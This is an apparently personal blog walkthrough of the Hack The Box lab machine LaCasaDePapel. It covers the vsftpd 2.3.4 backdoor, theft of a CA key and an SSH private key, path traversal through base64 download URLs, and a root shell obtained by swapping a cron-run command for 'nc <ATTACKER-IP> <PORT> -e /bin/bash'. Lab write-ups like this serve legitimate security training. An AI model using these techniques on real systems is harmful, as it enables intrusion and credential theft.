/var/log $ cat "Hack The Box - LaCasaDePapel Walkthrough"
2019-07-27 | ctf hackthebox
FTP / SSH
Trying to access the FTP service anonymously is not possible. Searching for known vulnerabilities/exploits of vsftpd 2.3.4 we find that for a short period of time it was shipped with a built-in backdoor (VSFTPD v2.3.4 Backdoor Command Execution). This could be a possible way in, if the server is running this particular version.
OpenSSH 7.9 was release October 2018 and is the latest version for the time being (March 2019). A quick search for vulnerabilities results in nothing and accessing it without valid credentials is not possible.
http://10.10.10.15 we are presented with what looks like a sign up form using an OAuth one-time-password and e-mail as input. Trying to sign up with a OTP using the mentioned ‘Google Authenticator’ doesn’t seem to work. Also it seems that there are no injection vulnerabilities.
The QR code gets generated by the endpoint
http://10.10.10.131/qrcode and takes the parameter
?qrurl=... as input. Manipulation the parameter generates and according QR code image. The parameter does not seem to be injectable. Accessing just the endpoint without any parameters leads to an error which reveals the possible username ‘oslo’:
https://10.10.10.131, which uses a self-signed certificate, results in an error as the service needs client-side authentication with a valid certificate. Viewing the source-code of the website also gives no interesting information.
Exploiting the vsftpd Backdoor
Reading about the vsftp backdoor (Vulnerability analysis of VSFTPD 2.3.4 backdoor) it can be accessed by authenticating on FTP as a user which contains ‘:)’’ in the username. Thus opening port 6200 which allows command execution on the target in
If we try to login, successful or not, with any username containing ‘:)’ we should see port 6200 open afterwards if the backdoor-ed version is running. To do this we can you a variety of tools (e.g.
ftp). There is also a Metasploit module (unix/ftp/vsftp_234_backdoor) for this. I simply opted for netcat:
Checking port 6200 with
nmap, we now find it open. So we do have the backdoor-ed version here.
telnet to connect to port 6200 shows there is
psysh (https://psysh.org/), an interactive PHP debugger/console, running. Seems the original vsftpd backdoor has been modified for LaCasaDePapel.
Enumerating with psysh
The obvious first choice would be to establish a fully interactive
/bin/bash reverse shell. But checking what we can do in PHP we find that a lot of functions we could use therefore are disabled. Also we can’t enable them.
After that point I spent a good amount of time enumerating the box with PHP and recreating functionality in PHP such as
ps or a port scanner. I am going to publish the scripts I came up with on my GitHub as soon as I have them in a reusable state. I also was looking for a way to maybe directly go for root. I spare you the details and walk you through the intended way.
Using the built in functions of
psysh we find an instance of the class
Tokyo. Having a look at the code of the class we find the path to a files named
/home/nairobi/ca.key. Judging from the code this is probably the certificate authority private key used for the HTTPS service.
Accessing this file is actually possible and it is indeed a private key file:
Also always a good idea is having a look at
/etc/passwd. As I turns out the assumed user ‘oslo’ does not exist.
It is also possible to add ourself to the authorized keys for SSH for the user ‘dali’. But since the shell would be also
psysh the only benefit would be that we still could have access in case
vsftpd would be patched. Which is unlikely for a CTF box.
Converting the private key we found to base64 with
base64_encode(file_get_contents('/home/nairobi/ca.key')); we can conveniently copy/paste it over to our machine and decode it with
echo -n "..." | base64 -d > ca.key. After downloading the HTTPS certificate (
lacasadepapel_htb.crt) we generate ourself a client certificate with
openssl. In the last step we need to convert to certificate into the PKCS 12 format so that we can import it in Firefox.
After importing the certificate into our browser (for Firefox it is Preferences -> Privacy & Security -> View Certificates… -> Your Certificates -> Import) we now have access to a ‘Private Ares’ on HTTPS with two links to ‘SEASON-1’ and ‘SEASON-2’:
Following the links we get a list of .avi files we can download. But doing this only downloads empty files.
Comparing to the previous finds from the
/home enumeration it seems the service is listing the contents of
/home/berlin/downloads and generating download links for *.avi files. Still having access via
psysh we can quickly test this by creating a ‘SEASON-3’ folder in
/home/berlin/downloads. Reloading the website we now see the ' SEASON-3’ folder also listed as link to
?path=... parameter is controlling what is shown on the website by simply listing folder contents (or by knowing it because you already had a look at the code in
/home/berlin/server.js, see Appendix - /home/berlin/server.js), we check if it is vulnerable to path traversal. And yes it is. We very simple access
/home/berlin with the parameter
We now can conveniently browse the complete file system starting at
Getting the User Flag
The file download URLs (e.g. for ‘SEASON-1/01.avi’ it is
https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp) do look like the end is base64 encoded. We can validate this by decoding it (or again reading through the code):
As we already now the user flag is found at
/home/berlin/user.txt while the download URLs start at
/home/berlin/downloads (see Appendix - /home/berlin/server.js) we can craft a URL for downloading
user.txt by base64 encoding
../user.txt as download path:
Now we can simply download
user.txt with the URL
Obtaining SSH Access
Browsing through the file system using the path traversal it is now possible to access
/home/berlin/.ssh which was not possible via
As it looks like we have a private key, we can use the same exploit on the
file endpoint to download them:
Resulting in the download URLs:
Having a look at
id_rsa we see that it is a private key:
Generating the public key from
id_rsa and comparing it to
id_rsa.pub shows that we have a valid key pair. But checking the public key against
/home/berlin/.ssh/authorized_keys we see it’s no in there giving us no access as ‘berlin’:
/etc/passwd we know the valid users on the box. We already can get SSH access as ‘dali’ resulting in a
psysh shell if we liked. ‘berlin’ is not possible with the key we just found. Having a look at
/etc/ssh/sshd_config (by downloading it via
https://10.10.10.131/file/Li4vLi4vLi4vLi4vZXRjL3NzaC9zc2hkX2NvbmZpZw==) we find that root access via
ssh is allowed (
PermitRootLogin yes). But if we try it as root it does not work.
/root are still not accessible. This leaves us ‘professor’. And fortunately it works:
We now have SSH access which makes further enumeration for privilege escalation much fast and easier than with PHP and
Getting a root Shell
Transferring pspy over to the box (
wget is installed) and running it we find that
sudo -u nobody /usr/bin/node /home/professor/memcached.js is executed as root every minute. Looking through the files in
/home/professor we can find the exact same command in
It’s fair to assume that this file is somehow loaded. We cannot edit it as we are lacking the permission. But we can change this by copying the file and by this changing the file permissions:
Checking which possibilities we might have for a reverse shell we find that the version of
netcat installed does have the
memcached.ini and replacing the
command = sudo ... with
command = nc <ATTACKER-IP> <PORT> -e /bin/bash (of course replacing IP and port with where we started our listener) we only have to wait for the next execution to get a root shell: